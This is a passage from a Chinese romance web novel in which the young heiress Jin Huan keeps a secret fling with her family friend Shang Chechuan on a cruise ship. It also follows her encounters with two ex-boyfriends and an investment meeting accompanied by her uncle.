人群从他身后不断经过、碰撞,但他的肩膀始终未曾晃动。
伸开的双臂,以及他本人,与罗马柱一起围出了靳欢立足这片空间。
许是见她一直不说话,男人眸中多了些担心,“吓到了么?”
靳欢摇头。
倒计时在此刻突然开始——
59,58,57——
七彩烟花一簇簇,拥着不断变化的数字,吸引了所有的目光。
他手仍没放下,靳欢也没挣脱。
两个人身形都没动,目光从周围大屏幕上收回的瞬间,在这个小方寸里碰撞——
靳欢抬起眸子的瞬间,就被卷入无底的漩涡的之中。
喘息声在这片刻胜过烟花心跳。
交换呼吸间,商澈川察觉到面前人的失神,忍不住想要更贴近一些,再贴近一些,近到可以把她的心放入自己的胸腔,让她永远为自己失神。
可是靳欢的失神只不过刹那而已。
连接吻,只要她想,她就要掌握主动权。
喧哗声中,有人在喊她的名字,一遍又一遍,一遍比一遍靠近,几乎已经到了一步之隔——
靳欢被热吻染上迷醉的眸子里清醒逐渐浮现上来,商澈川预判到她的动向,撑在罗马柱的胳膊更加用力,明显不愿放人走。
面前人面上并不着急,只抬起湿漉漉的眸子望向他,彷佛他是她的全部世界。
商澈川喉结难耐滚动,逼着自己不看她。
看他这般躲避,靳欢忍不住轻笑了声,轻飘飘的目光从他面上扫过,然后慢悠悠踮起脚尖,唇瓣一触即离。
赶在来人发现这个角落的最后几秒钟,稍微抬手,就拨开了商澈川的胳膊,藏在人群中不见了身影。
商澈川后知后觉摸了摸喉结,上面似乎还有潮湿的水痕。
以及她刚刚留下的话,顺着骨肉传至他心跳处。
她说,澈川哥,今晚还住在906么?
906,是靳欢昨晚住的套房房号。
“麻烦让一让——欢欢?”明明刚刚看到了欢欢的衣裳,怎么转眼就不见了?
商澄明一把拉开罗马柱旁装饰的帘布,没看见想找人影很是失望,但下一瞬就被震惊填满,“哥?”
“嗯。”
太过于惊讶,商澄明愣愣半晌才想起来开口问,“哥,你怎么在这?”
“散心。”
啊?耳朵接收的信息似乎有些难以被大脑理解,散心?商澄明自言自语重复了几遍,才勉强反应过来,“哦,哦,原来是散心——”
话说到一半就戛然而止——
商澄明第一反应是自己看错了,但是第二眼、第三眼……他确信他哥嘴唇上沾染的肯定是口红!
见他目光奇怪,商澈川扫过去一眼,“怎么?”
商澄明咽了下口水,小声提醒,“哥,你嘴上有口红。”
和他的难以置信不同,商澈川闻言,只淡定抽出手帕,擦去唇印的动作慢条斯理,似乎完全没意识到这有什么不对。
甚至,不知想到了什么,唇角还微微露出几分弧度。
若非周围有这么多真实的面孔,商澄明简直要以为自己出现了幻觉。
他正想试探问问他哥是不是有了女朋友,但是还未开口,注意力忽然被突然出现的身影吸走——
倒计时早已经结束,现在是新的一天。
没人要去睡觉,激情舞曲响起,人人都涌入舞池中试图将巅峰情绪延长再延长。
陈瑞初已经浑身是汗,仍未觉够,只催促着场外的靳欢快点加入。
靳欢抬了抬杯子,示意润润嗓子就来。
只是要进去时,才发现面前挡了人,“请让一下——澄明?”
商澄明满眼惊喜,“欢欢,你去哪儿了?我找你好久!”
“就随便走了走。”
“奥奥,”商澄明目光舍不得从她脸上移开,只是瞧见靳欢唇上花掉的口红的时不由得愣住了一秒,但下一瞬,看见酒杯边缘沾染的口红后忽然明白过来:应该是喝酒时弄花的而已。
刚刚那一瞬覆盖上来的慌乱散去,商澄明余光不停地注意着周围,时刻严防死守任何人想要上来邀请靳欢的动作,自己则抢先开口道,“欢欢,一起去跳舞吧!”
靳欢仰头,喝尽杯中最后一口酒,
“好啊!”
舞池之外,商澈川目光追随着台中人影,杯中酒已经许久未曾减少。
他看得入神,身旁却忽然传来一声嗤笑——
见人侧眸看来,言承眉头挑起,“前男友之一?”
这位当初姿态做得那样足,现在看来,也不过如此,追人追到了游轮上来,不也只有远观的份?
他话中嘲讽意味十足,本以为旁边人至少会变了脸色,若是恼羞成怒气愤上头冲上去和商澄明大打出手就更好不好过了——
但是话音落下许久,却见旁边人依旧是那幅不冷不热摸样,甚至只“哦”了声就向着另外一边走去。
言承皱眉,正欲再挑拨几句,却见这人先自己一步停下来脚步,他心中一喜,以为这人终于忍不住了。
但男人回头时,面上却似是对他感到好笑,
“或许言先生应该担心担心自己。”
“多管闲事——”言承开口要反驳回去,可是一抬头人已经没了身影。
本就在病中,再加上一口气堵在心口疏散不开,言承太阳穴似是针扎,连着喝了半杯冰饮才缓解一二。
他在娱乐圈也待了几年了,自然知道商澄明不会放过自己,但是他自己也并非没有底牌,而且商澄明也未必就能在娱乐圈只手遮天。
关于商家他不太了解,但是商澄明的父亲原泰升选择退出娱乐圈入赘商家的事,尽管当时的新闻报道已经被删了干净,可娱乐圈还是有不少口口相传的消息。
至少有一点可以确认,和原泰升领证的那位也并非就是港城商家的唯一继承人,而且据说那位和前夫在一起时也生了一个孩子。
也就是说商澄明还有一个同母异父的哥哥。
豪门之中,有关系好的兄弟么……言承眼神一凛,忽然想到,倘若欢欢的联姻对象真是商澄明,那商澄明的这位哥哥说不定是打破这个事情的转机。
……
游轮之上,多的是彻夜玩乐的人。
反正灯火通明,酒水会24时供应。
昨夜已经玩到太晚,今夜过了三点后,靳欢面上疲惫就已经开始明显起来。
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>她打了个哈欠,把台球杆递给旁边人,摆摆手拒绝周围起哄再玩一轮的邀请,“不玩了,太累了。”
她不玩,商澄明自是也不肯玩了。
杆子一抛,直接就过来追靳欢的脚步,“欢欢,你回去睡觉吗?我送你回去吧!”
“不用。”
被拒绝了,商澄明也不沮丧,只仍旧紧跟着靳欢,“欢欢,之前说的去滑雪,你去不去?”
“不去。”
“好吧……那我下个月放假后也回京市这边。”
靳欢停住步子,转头看向商澄明,正要开口说话,商澄明却已经抢先道,“好好好,我知道,我们已经分手了——”
他下巴扬起,“但是我哥也在京市,你总不能不让我来京市吧?”
靳欢扫了一眼他游移的视线,“随你。”
反正她下个月在不在京市可不一定。
出了台球厅的大门,靳欢直接就去按了电梯准备去九层。
商澄明一起进了电梯,却没按任何层数。
靳欢虽然不知道他的房间在哪里,但是不用想也知道肯定不在九楼。这艘轮船九楼只有两间套房,06和08,已经都住了人。
她懒得管他,低着头看手机里一堆没点开的消息。
也就是这时,才忽然发现之前医生还给她发了不少关于言承病情的内容。
草草扫了一眼,靳欢眉头皱起,竟然这么严重?
不过今天下午在甲板上那会儿,看他脸色倒是还行,估计是好转了吧?
想了下,靳欢还是找到了言承的头像,发消息问了声他的情况。游轮返航的速度并不快,要是言承不舒服,可以直接让快船送他回去的。
对面并没回复,估计是睡着了。
旁边商澄明本是在找机会和靳欢说话,但没想到余光随意一瞥,竟然隐约瞥见“言承”两个字,心情顿时不美妙起来。
今晚他是找了人盯着言承的动向的,也肯定言承自从去了七楼房间后就没出来过,任是如此,他眸底仍是多了些戾气。
怕被发现,又迅速收敛起来。
一扬眉,仍是靳欢看惯的张扬少年气摸样,“欢欢,明天下船后我们一起回去吧?”
靳欢惊讶,“你也回?”
他不是和她爸妈说的是回去排练去了?
商澄明被她问得哑然一瞬,出了电梯才反应过来,“我可以住我哥那里!”
906房门就在面前。
听商澄明说起他哥,靳欢想起这会儿可能已经在房中等着的人,神色停顿一瞬,没继续接着商澄明刚刚的话讲,只一边房卡开门一边道,“我到了,你不回去啊?”
“回——”
商澄明不大情愿,还在试图拖延,但可惜找不到留下来的由头,只能无奈说晚安,磨蹭向着电梯走去。
房卡的磁条好像有点问题,第一次没刷开,靳欢指尖换了个方向,重新又试了一次。
滴得一声——
仍旧亮红灯,但门却开了。
屋内人只穿了西装裤和拖鞋,额发带着点湿意,一手拉在门内侧把手上。
四目相对之际,赶在他开口之前,靳欢迅速抓住他的手腕,拦住他要将门彻底打开的动作。
“欢欢,怎么了?”
电梯门口,商澄明疑惑看来。
33. 兄妹
“没事,”靳欢淡定看过去,“晚安。”
手被人反握住,燥热覆盖上来。靳欢忍着痒意,至少动作上看不出任何异常,推门进去,关门。
下一瞬,人就被抵在了门上。
十几秒的交错,两个人气息都开始变得炙热。
丝巾早已不知所踪,白皙脖子上再次被晕染上红色,靳欢热得透不过气来,用尽力气才将埋在脖子上脑袋推开,别开脸深呼吸试图冷静一下。
玩乐到现在,本就已经松散的挽发现在彻底散开,有一缕垂落在她侧脸上,被人小心撩开,男人嗓音低沉里带着几分沙哑,
“不想么?”
靳欢说不上来。
想是想,但心有余而力不足。
要是自己没在外面疯玩到现在,肯定愿意再度一个良宵。
但现在是真没精力了,只想洗澡躺着摆烂。
哎,早知道之前就不乱说话了,这样今晚就可以自己一个人清静清静了。
不过现在也不晚——
她微微站直了身子,正要糊弄过去,但耳边却忽然传来一声轻笑,靳欢一愣,抬头看去,只来得及捕捉到男人眼中一闪而过的失落。
下一瞬,便仍是她常见的摸样,绅士礼貌却暗含疏离,“要喝水么?”
靳欢点头,“谢谢。”
看着人转身去倒水时背部肌肉完美的线条,和清冷侧脸形成极大反差,靳欢忍不住在心里吹了声口哨。
多带感的美人啊,而且还不缠人,进退有度。
再次后悔没有带画具过来,连小速写本都没带。唉。
靳欢无奈,拿出手机连拍了好几张,捕捉动态,男人被拍照声惊扰,回过头来,眸中浮现一丝疑惑。靳欢淡定眨了眨眼,“澈川哥,我拍几张照做纪念。”
商澈川眉梢微动,“纪念什么?”
靳欢接过他递过来的水杯,随口胡诌,“嗯……纪念你帮我倒水吧。”
她举起手晃了晃杯中水,菱格玻璃杯上光线摇动,将杯后她眸中笑意晕开。
商澈川垂下眼睫,挡住其中想要去近距离招惹这双眼眸的疯狂,喉结处有些躁动,他别过头,轻咳了一声。
靳欢正在喝水,模糊听到他说了句什么话,但声音有些低,导致她没听清。等到要问时,发现人已经去了浴室。
听到里面水声传来,靳欢这才恍然,难怪他没穿上衣,原来是正准备洗澡。
她伸了个懒腰,走近卧室瘫在沙发里,随手把平板拿过来打开了绘画软件,但只画了几笔就没了兴趣。
果然还是不喜欢板绘。
她一直感觉无论屏幕上贴上什么样的膜,都无法真正模拟出笔落在纸上的触感。
平板息屏,手机屏幕上的照片成了视觉中心,靳欢随手开了瓶气泡水,一遍喝一遍欣赏刚刚在客厅拍的照片。
来回翻了几遍,思绪有些飘散,眼皮也开始上下打架。
迷迷糊糊中,她脑中突然闪过一丝亮光。
她好像知道他刚刚说的那句话是什么了——“以前没帮你倒过水么?”
逻辑被困意搅合的七零八落,但一瞬间仍旧有很多往事浮现在脑海里。
她说纪念那句是胡说八道,但是他说的帮自己倒水却是真事。
甚至倒水这种小事其实根本排不上号。
他和澄明刚来到靳家时,自己因为他性格冷、话少、不爱笑等表现一直以为他不好相处。反倒是澄明,性子大胆而爽快,又和自己一样还是读高中,于是很快就玩到了一起去。
而商澈川,他虽然也回家住,但是大学里常会有晚课,回来时往往很晚了,她也就经常忘了家中还有一位这样哥哥的存在。
只有有时她和商澄明在家里闹出的动静太大时,她才从这位经常面无表情的哥哥眼中看见几分生动的情绪,比如厌烦,微皱的眉头,不耐的眼神。
她根本不在乎。
偶尔冲着他背影扮鬼脸,在上课摸鱼时画四格漫画时偷偷把他化成大反派。
她对他的印象的转机来自一次偶然——
她还记得,那时她和澄明经常趁着她爸妈在学校有事忙回来晚或者去外地出差的时候,偷偷用客厅里的大屏电视打游戏。两个人盘腿坐在地毯上,各种果汁饮料开了一排乱喝一气,玩到快乐时,肆无忌惮笑成一团。
有时也会因为屏幕上的小人闯关失败,拿着抱枕互相追逐打闹,虽然十之八九都是她追着商澄明要打他。
有一次暑假的暴雨天,他们俩买到了新的游戏卡带,一口气玩到了晚上十一点多。因为商澄明故意捣乱,导致她始终没通关,她气不过,楼上楼下追着澄明打。
在下楼时,最后一个台阶踏空,膝盖直接撞在了地板上。没到骨折的程度,也可以活动弯曲,但是红肿一片,疼到说不出话来。
当时阿姨已经回家了,天气恶劣,打车软件加了几倍的钱也半天没有人接单,商澄明要喊救护车过来,但是她怕被小区安保知道告诉她爸妈,不准他打,正僵持着,商澈川从外面回来了。
他暑假比平时还要忙,倒是难得见到他人影。
客厅里被她搞得一团糟,她懒得看他冷脸,干脆别过头仰着看空气。
直到察觉到面前落下一片阴影——
她还没弄懂他站在自己面前做甚,就被拦腰抱起。
从走廊可以直接去车库,不用被雨淋到。虽是夏天,但外面潮湿冷气一吹,她仍是瑟缩了下,下一瞬就觉得抱着自己的人好似加快了步子。
恍惚中,她忽然察觉到这个人虽然看着清瘦,实际上却很有力量感。不知道有没有肌肉?哎,要是可以让他把上衣脱了来做一回的人体模特没准不错?
但这个念头一出现就被她打消了……万一他把自己偷偷画画的事告诉她爸妈了,那她岂不是得不偿失?
她胡思乱想,直到被放到了车上。
“系好安全带。”
很冷的声音,脸上更冷,澄明追了过来要一起上车去医院,都被他直接无视。
车子一启动,她就绷紧了精神。她从没坐过他开的车,不知道车技究竟怎么样?
实际上,他开车比她想象中要稳健很多。去医院的后半程,她精神放松下来,在膝盖依旧疼得严重情况下,迷迷糊糊睡着了过去。
再醒过来,已经是被他抱下车进医院。
在医院折腾了两个多小时,确认无大碍,疼痛也开始消减后才回家。
半路上,她肚子就饿得咕咕
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叫。她以为他没听见,却在一个路口等红灯时,听到他问想吃什么。
她很是惊讶,试探开口,“吃什么都行么?”
果不其然又收获一个冷脸,“不行。”
她盯着他侧脸,故意找茬,“要是不能去学校后门的小吃街吃两只考拉热卤,那我就不吃了。”
说完后,不出意外没回应,她别过脸看窗外渐小的雨势发呆,后来迷迷糊糊中被人晃醒,一睁眼就看见他皱着眉头,“位置?”
“什么位置?”她没反应过来,直到一转头看见熟悉的学校后门。
在旁边人耐心似是要耗尽前,她赶紧指了指斜对面两家网咖之间的夹缝处小招牌,“在那儿!”
幸好灯牌上店名“两只考拉”几个字还亮着,证明老板没打烊,不然她真怕被他气得打一顿。
不过事实证明,这个人的忍耐度竟然出奇的高,包括她要自己到店里去选菜,他虽然不耐烦,但是最后还是把她背过去了,免去了她脚上拖鞋被溅上脏水的可能性。
到了店里,她被放在板凳上,指挥着他帮她取想要的菜品。
逼仄的小店里,他一手拿着小菜筐,一手拿着菜夹,神色认真,但一米八以上的身高着实有些局促,莫名好笑。
她那般想,就当真忍不住笑了出来,惹得老板好奇,“哦呦,你男朋友啊?”
她摇头,“不是。”
“你哥啊?还别说,你们兄妹俩倒是长得挺像的!”
老板语气笃定,说得像模像样的,她被这话惊住,回过神来笑得险些把板凳晃翻,多亏了他察觉到及时用脚踩住了板凳腿间的枨子才稳住。
她不理会他的眼神警告,看向因为她的笑而有些疑惑的老板,“嗯对,老板你说得对,这是我哥!”
只不过是那种没什么血缘关系异父异母的哥而已。
从那以后,她就和商澈川逐渐熟悉起来。而且相处的多了,发现这人虽然沉默,但是是个很靠得住的人。
她和瑞初跑去澜悦玩,进不去她第一反应就是找他来救场。
高中毕业那会儿,她去参加女生间的小聚会,偷偷喝了酒不敢回家,还是他去酒吧把她领了回来。
她和澄明去海边玩,证件全部搞丢差点回不来,是他去接的人。
随便一想,就有好多。
也就是后来她也读了大学,得到了更大的自由,在外面玩花了眼,再加上他也很忙,才逐渐又慢慢生疏起来。
说生疏,也不算。
大概更像是成年之后,见面的时间少了,关系从表面上自然就淡了一样。
卧室开门声响起,靳欢从半睡半醒中清醒几分,在沙发上换了个姿势,眯着眼看了一眼来人又重新闭上了眼。
商澈川压低声音,“抱歉,吵醒你了。”
靳欢闭上眼,将脑袋埋在抱枕上蹭了蹭,“没事,我没睡着,你自便。”
商澈川不动声色“嗯”了声,放轻的脚步声时不时响起,像是在忙活自己的事情,但其实目光从未从靳欢躺着的沙发上移开。
他早就见识过,她在某些时刻,会很像小猫。
头发散乱开,在沙发上蜷缩成一团,耳朵尖露在发丝外面,带着困意的说话声像是撒娇。
34. 拍卖
商澈川放轻呼吸,目光从她趴着的抱枕上经过时,些许停顿,眼底变得幽深。
想扔掉抱枕,取而代之。
可惜现在她还是太警惕了。
靳欢的确没睡着,躺了一会儿就起身准备去洗澡。
走了几步,突然想起了一件事,转身道,“澈川哥,你见到澄明了吧?他也上了船。”
“嗯。”
看他脸色淡定,靳欢放心下来,“你心里有底就好。”
“什么底?”
“不要被澄明发现我们的关系啊。”
“你不想让他知道?”
当然啊。
虽说都是单身情况,床上伴侣又不是什么见不得人的关系,但关键是他们俩的生活圈交集太多了些,现在被澄明知道,难保就不会被她爸妈知晓,再然后被商阿姨知晓……光想一想,她就觉得麻烦到头大。
靳欢本已经走到了浴室门口,想到这里打了个寒颤,赶紧回来又强调了一遍,“我觉得,还是不要让任何一个同时认识你和我的人知晓的好,澈川哥,你觉得呢?”
房中人明显对她的坚持有些惊讶,但看了她了一眼后,仍是点了点头,“好。”
就好像他不认同,但是如果她愿意这样,那他就尊重她的选择。
靳欢歪了歪脑袋,总感觉哪里不对劲,但还来不及思索,就被商澈川的下一句问话打断,“陈小姐也不可以知道么?”
愣了下,靳欢才明白他这是指的瑞初,便摇了摇头,“瑞初没关系。”
说完感觉好像不公平,又补充了一句,“当然澈川哥你信得过的朋友也没关系。”
……
这间套房里一共有三个房间,除了朝向,里面布置都是一样。
靳欢洗完澡出来,本来还想说自己今晚睡隔壁房,但谁知还没开口,在客厅亮着笔记本屏幕忙工作的商澈川就先开了口,“我有些工作还没处理,晚些时候睡在隔壁。”
她主动开口,靳欢自然不会拒绝。
这样还免得她把自己的东西拿到隔壁房间去了。
突如其来的省事,让她心情都好了几分。余光瞥见商澈川面前桌子上的水杯空了,甚至主动过去帮他倒了杯水。
只是要放下水杯时,余光忽然瞥见桌角处有着两份餐单,出餐时间相隔很近。
咦?他为什么点两份?
许是察觉出她的疑惑,商澈川将目光从电脑屏幕上移开,揉了揉眉心,解释道,“第一次点的不合胃口。”
靳欢“哦”了声,手下把两份餐单随手团成纸团扔进了垃圾桶,当做没看见两份餐单的上菜式其实大都是相同的。
什么不合胃口,十之八九是中午那会澄明趁着自己去洗漱时在菜上动了手脚。
这个幼稚鬼。
多大一个人了,还玩这种小把戏。
她站起身来,打了个哈欠,“晚安。”
“晚安。”
看着她进了卧室关上门后,商澈川才收回目光,余光从垃圾桶上一扫而过,拿起水杯,喝了一口。
纯净水罢了,倒是被他喝出了品茶的意味。
电脑屏幕已经再次切换到实时通讯页面,消息在一条条进来。
……
游轮之上已经接近午夜四点,异国,拍卖会上,窗外温和夕阳倒是刚好越过彩窗。
沈维桢面前的咖啡一口未动,左手支着侧额,若非眼眸深邃,时有精光闪过,倒好似在发呆。
他对面,坐着的是推掉了一堆的事情非要过来看热闹的Edwin。
见人久久不语,Edwin看了眼对面人耳机上闪烁的蓝光,眼中戏谑更重,明知故问,“竟然还在竞价么?”
拍卖会一共三日。
今日是第一天,现在竞价的是今天的最后一件展品。
一副山茶花,来自近几年崭露头角的神秘画家Lychee。
其实画作这种东西,多是画家死了才有可能价值飙升。因此,这幅山茶纵使不错,但竞价到现在的价格,已经明显溢出了。
有不少很是心动的人已经面露犹豫,停止举牌,真正僵持着的不过两位罢了。
沈维桢听着耳机里传来的现场声音,对方紧追不舍,看来是势在必得。
他面色不变,把耳机取了下来。
Edwin见状,这次是真的惊讶起来,他之前虽调侃Shen这次想要把Lychee的画作买下来恐怕没那么简单,但从没想过竟然当真会被别人买走。
毕竟,每一次Shen的预算都会定到很高。
对方竟然还要高出这个预算很多么?
“等一下——”见人似是起身要走,Edwin忙将人拦住,“你不想看看是谁买走了么?”
“不想。”
讨了个没趣,Edwin摊了摊手,“我去看看!”
说罢,便自顾自往外走。
一分钟后——
Edwin回来,沈维桢抬眸扫了一眼,果不其然看到一脸失望。
没察觉到他这一眼,Edwin还在吐槽刚刚白跑了一趟,“口罩,帽子,普通西装,连哪国人都分辨不出来。”
内场——
今日拍卖结束,在场的人已经七七八八或起身离场,或跟随工作人员指引前往后台签订相关手续。
右侧后排位置上,Edwin口中的那位分不清国籍的人却没着急起来,而是先拿出手机,确认将消息发出去后并等到对方回复后才站起身来。
……
次日。
船只靠岸时已经天色微黑,下船后,靳欢是和陈瑞初坐的同一辆车子。
车上,陈瑞初眨眨眼,“不怕麻烦了?”
说实话,她得知商澈川也在船上着实震惊了好久。后来一想,才恍然明白那天欢欢说的“自动上门的”原来是指这位。
知晓她说的什么意思,靳欢一脸淡定,“他不麻烦。”
陈瑞初皱眉,她还是感觉商澈川心机太深,根本不适合,但是看靳欢喜欢,便也没说什么,而是转而提起了另外一件事,“欢欢,之前我和你提起的那个游戏你还记得吗?”
就是那个她说要去要内测号拉着靳欢一起玩的游戏。
靳欢点头,“怎么了?”
“我这边打听到是个小团队开发的,现在后期没钱了,正拉投资呢。”
“你想投?”
“有这个打算!”陈瑞初将车内隔板升起,“我想用自己的小金库投。”
“你钱够吗?不够我这边——”
靳欢还没说完,就被陈瑞初打断,“不用借我,要不欢欢你也投点吧?这游戏,我感觉市场应该不错!”
而且据她了解的,已经有人在接触这个游戏的主创团队了,就是不知道为什么,好似一直没有谈拢。
两人聊了一会儿,见
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靳欢并不反对,陈瑞初拍板决定下来,“那我和那边约个时间见面谈吧!”
但是还有个问题。
她们俩经验都不够,还得要个信得过的风险分析师跟着一起。
陈瑞初是瞒着家里的,自然不可能从家里要人,靳欢想了下,“我问问我小舅舅吧。”
她本意是让小舅舅帮忙介绍一位靠得住的人过来,没想到小舅舅问完她时间地点后,直接自己来了京市。
约定的地点门口,陈瑞初看着来人,又是惊讶又有种安心的感觉,压着声音对靳欢说,“我感觉这把稳了!”
从下车到前往洽谈室,靳欢被她嘀咕得受不了了,忍不住翻了个白眼:行了哈!
身后,沈维桢余光看见这一幕,被平光镜敛去锋芒的眸中闪过几丝笑意。
洽谈室,对方倒是先到了一步。
靳欢一进去,打量一眼,顿时惊讶了下。
这样一看,京市真的很小啊。
是的,对面一共来个七个人,其中一人正是她曾顺路捎带过的那位学长。
她记得,好像是姓路?
不过仔细一想,倒是也不惊讶,这个游戏就是历史向的,这位路学长既然是她爸爸的学生,那肯定是历史专业的。
签了保密协定后,双方入座,前后一共聊了大概三个小时。
对方态度很诚恳,光是准备的PPT就有上百页。
陈瑞初悄悄给靳欢使了个眼色,靳欢侧眸瞧了眼小舅舅,不动声色给陈瑞初回了个“OK”手势。
散场时约莫下午五点多钟,各有事情要忙,倒是并没一起吃饭,不过至少从表面上看,双方都很有合作的意愿。
更具体的,还要进一步详谈。
地下停车场——
路其浩几人一边去找车子,一边压着声音讨论,
“感觉还行,看着挺可靠的,是不是?”
“反正看着不像是缺钱的,就是不知道会不会也是个事儿精。”
他们这几天一直在接触的另一个富二代投资人出钱也很爽快,但是有个缺点是对方想要对游戏内容做些改动。
今天这位也不是行业人士,万一也时不时冒出来什么“灵机一动”的点子呢?
虽说可以在合同中约定好彼此的权利义务,但是对方只要在某一期资金上拖延下,就足够他们这些人吃一壶的了。
想到这里,几人脸上的欣喜都淡了下来。
其中一位带黑框眼镜男子停顿了一会儿,看向身旁一直没出声的人,“其浩,你觉得呢?”
路其浩从沉思中回神,闻言,认真道,“我觉得再约今日这位陈小姐聊聊吧。”
这话的意思,就是他明确偏向今天的这位投资人。
其他几人都看向他,等待他给出理由。
路其浩本想如实相告,但是又想到靳欢可能并不想让人知道她和靳老师之前关系,于是便换了个含糊点的说法,只说自己曾在老师家里见过今天在场的人,感觉应该可以信得过。
他口中的老师几人都是知晓的,在游戏文案的历史考据上路其浩曾去请教过对方好些次。
这话一出,几人惊讶过后面上纷纷浮现出激动,也不着急回去了,直接约着去吃火锅。
另外一边,陈瑞初家中有事先回去了,靳欢和沈维桢二人则一同出去吃晚饭。
只是没想到,在餐厅竟然再次遇到了熟人——
35. 男友
陈知衡也没想到竟然会在这里遇见靳欢。
上次在机场不欢而散后,他就发誓过把和她交往过的那段时间都当做是自己瞎了眼。
但这次,一看见靳欢和旁边男子有说有笑的模样,陈知衡仍是瞬间就僵住了步子,脑子反应过来之前,就已经冷嘲出口,“呦,又换新Daddy了?”
靳欢抬眸扫过去一眼,有点怀疑难道这人以前也是这么脑子有问题?
难不成自己和他交往那段时间是自己瞎了眼么?
她不气反笑,本来只是和沈维桢并排走着,现在干脆直接拉着沈维桢的胳膊摇了摇,眸子明晃晃看向陈只衡,“想换就换,你有意见?”
沈维桢早在陈知衡那句“Daddy”出口时就冷了脸,此刻想说话,却被靳欢暗中使眼色央求不准开口,只得沉默克制着周身冷气。
不过,眼前这人总感觉有几分熟悉?
另外一边,陈知衡被靳欢直白的话堵住,半天说不出话来。
靳欢倒是一身轻松自在,甚至好心提醒道,“希望下次见面陈先生不要这么少见多怪喽。”
“你——”陈知衡气得头昏脑涨,眼见靳欢拉着人要走,情急之下脱口而出,“你——他有多少钱值得你这样?”
靳欢胃部空空,等着吃饭,根本不想再理会他,对这话也没想回答,没想到的是,看她不理,陈知衡竟追上来要拉住她——
结果当然是没拉到。
沈维桢直接将人挡住,“还请自重。”
陈知衡脸色难堪,却只坚持看向适才被沈维桢挡在身后的靳欢,重复道,“他有多少——”
话还没说完,被一道突然出现的声音打断——
“阿衡!”
陈知衡回头,面上虽然还是不甘,但是还是老老实实转身喊了声“奶奶”。
靳欢好奇看去,只见刚刚打开的包厢门内,站着的约有十来个人之多。为首的是位银发老太太,驻着拐杖,旁边站着一位中年男子扶着她。
这是陈知衡他奶奶?
靳欢忽然想起那时在墨尔本时,陈知衡还提过一次要带她回国见见他奶奶,当时她被吓了一跳,果断岔开了话题,后来就找个借口分手了。
现在看来,当时的果断真正确。她只想谈恋爱,可从没想要和别人的一家子人产生联系。
不过,这老太太怎么好像认识自己?
靳欢悄悄看了眼小舅舅的脸色,心里暗叫一声不好,这还真是认识的人啊?
沈维桢余光注意到她震惊的小动作,心里无奈又好笑,面上却不露声色,和老太太几个话锋来回间,硬是将靳欢护得很是周全。最后以老太太冷哼一声,带着人又进去了作为解围。
靳欢适才一直装作小辈不说话,但听两人说话,也听出了几分猫腻来,这老太太应该是不知道自己和陈知衡的事,刚才那般语气不善其实是因着旁的事。
她想起只见过一面被自己拉黑的某个人,是叫陈知尧吧?
陈知衡,陈知尧——
哦,原来是一家人。
她边走边想,等到了预定的包厢,进去坐下后,忽然察觉到气氛有点不对劲,一抬头,就对上了沈维桢的冷脸。
靳欢眨眨眼,推了推菜单,“小舅舅,要不你点?”
沈维桢看她一眼,接过菜单,点了几道菜,先将菜单递给服务员后,才再次看向靳欢,“说几句吧。”
知晓逃不过,靳欢也不挣扎了,“刚刚我就是乱说的,想气气他而已。”
“之前你们认识?”
“就在国外那会,偶然遇见,后来就谈过一段时间。”
偶然遇见?就谈过?
见她把感情的事说得这般轻松,沈维桢反倒是烦恼起来,揉了揉眉心,几次欲言又止,最后也不过一句,“既然回国了就不许再胡闹了。”
靳欢正要应下,脑中忽然想起商澈川来,顿时心虚起来,“嗯……也没胡闹。”
沈维桢皱眉,“回头惹你妈妈生气,我可不会——”
“知道知道,到时候我保证不求着您帮我说话!”
反正用不着求,小舅舅肯定会帮自己说话的。
不过这话可不能讲,靳欢站起身来倒了杯茶推过去,“今天辛苦小舅舅帮我和瑞初把关了!”
从小到大,一直如此,她一服软,沈维桢就严肃不下去,此刻亦是这样。心里叹气,但仍是顺着这杯茶被靳欢带离了话题,开始讲起了其他的事。
另外一边,陈家老太太所在包厢里——
“阿衡!”
“啊?”自从从老太太口中得知适才那男子是靳欢的舅舅后,陈知衡心情就莫名好了起来,原来她只是故意骗自己的,那上次在机场是不是?难道上次那个是她哥哥?
他正走神想着,冷不丁被老太太喊了声,顿时吓了跳,“奶奶,怎么了?”
陈老太太虽已年逾七十,但声音依旧洪亮,“你和那个沈家的丫头之前在门外说什么呢?”
“没,没说什么——”
“你们以前认识?”老太太问完,也不管他回答不回答,直接拐杖敲了敲桌子腿,“不管认识不认识,以后都不准联系了!”
陈知尧想反驳,被旁边的一位中年女子按住,那女子给他使了个眼色安抚住,然后才看向老太太,“姨妈,不是听说沈家的当家人没结婚么?那刚刚那个女孩子是哪来的?”
“这你们都不知道?”
“我们这孤陋寡闻,见得少,姨妈要不和我们讲讲?”
老太太人是港城人,后来嫁到了海市,此番来京市是来看望自己当初不顾家里反对执意嫁到京市来的妹妹的。
有人捧着话茬,老太太虽冷着脸,但仍是一口气将其中关系说了个干净。
“他们沈家,一家子都是神经病!沈剑雄三十多岁才结婚,结婚后就生了两个姑娘,四十多岁丧偶后也不想想将来自己死了家产交到谁手里的事,一心就扑在两姑娘身上。
结果一个二十来岁就死了,另一个呢,家里公司管也不管,听说现在在什么大学里当个老师,偌大一个沈家现在都在沈剑雄的一个养子手里把持着,谁知道将来是谁家的?”
“姨妈,原来这位沈先生竟是沈家的养子么?”
“养子?养子可还得上个户口改个姓呢,这沈维桢可不是改姓姓得沈,而是人家本来就姓沈。”
提到沈维桢,老太太更是眉头结成团,“这沈维桢也是个有病的,若是旁人,早把沈家的家产直接给吞了,也就他,这些年也不结婚也不生子,一点儿动向也无,要我说,装个三年五年的好人得了,装这十来年是图什么?真就白白给人家打理家业啊?将来难不成还真打算把家产都给这沈云岚生的小丫头不成?”
老太太看似爽快,倒也瞒了点没说的东西。
比如,早几年她想撮合自己的堂侄女和沈维桢,结果没成。
再比如,前些日子,她听闻自己的亲孙子陈知尧和靳欢在石家老爷子的寿宴结识后,确实动了心思。沈家这丫头虽然现在不叫沈尽欢了,而是改名叫什么靳欢,但从律法上来讲,她妈妈可都还是沈剑雄的继承人。
要是阿尧能和这丫头成一对倒也并未坏事。
谁知不过过了两日,她问起阿尧时,却从阿尧口中得知这丫头看不上阿尧?
她还挑三拣四起来了?还有她挑的份?
不识好歹。
……
吃完饭,天色已将晚。
沈维桢虽然今晚还要回海市,但仍是坚持要亲自把靳欢送回家。
路上,靳欢本来在有一句没一句地和他说话,结果中途手机亮了屏幕,后半程中,沈维桢就看见她时不时就拿起手机打字。
以往她坐车时,很少会动手机看屏幕,嫌弃晃眼。
沈维桢等着她指尖停下后,才玩笑道,“工作这么繁忙?”
靳欢摊手,故作无奈,“没办
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法,客户太难缠了。”
